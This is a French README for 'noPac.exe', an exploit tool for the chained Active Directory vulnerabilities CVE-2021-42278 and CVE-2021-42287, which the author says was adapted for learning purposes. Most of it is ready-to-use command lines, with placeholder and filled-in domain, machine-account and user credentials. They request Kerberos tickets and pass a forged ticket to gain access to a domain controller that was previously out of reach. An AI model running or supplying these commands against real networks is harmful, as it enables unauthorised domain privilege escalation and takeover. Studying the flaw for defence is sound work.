
Exploiteur pour CVE-2021-42287/CVE-2021-42278
L'origine de ce projet est l'apprentissage du principe de noPac. J'ai apporté quelques modifications sur la base du projet cube0x0. Des commentaires personnels de compréhension ont été ajoutés au code source.
L'article d'analyse de la vulnérabilité peut être consulté sur mon blog : Analyse noPac
noPac est une combinaison de deux vulnérabilités : CVE-2021-42278 (usurpation de sAMAccountName) et CVE-2021-42287 (tromperie du KDC). Il ne peut être exploité avec succès que si les conditions d'exploitation des deux vulnérabilités sont simultanément remplies.
Examples: Get TGT and ST
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs
Examples: PTT
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
La méthode la plus courante est PTT :
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
Avant d'utiliser noPac, pas d'accès au DC.

Utiliser noPac.
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

Après PTT, on peut accéder à nouveau au DC dans la fenêtre actuelle avec succès.

Note : le programme ne peut fonctionner que sur des machines avec .NET 4.0 ou supérieur. Windows Server 2012 est livré avec .NET 4.0 par défaut, Windows Server 2008 avec .NET 3.5.
Voir la version de .NET présente sur la machine :
dir c:\Windows\Microsoft.NET\Framework64
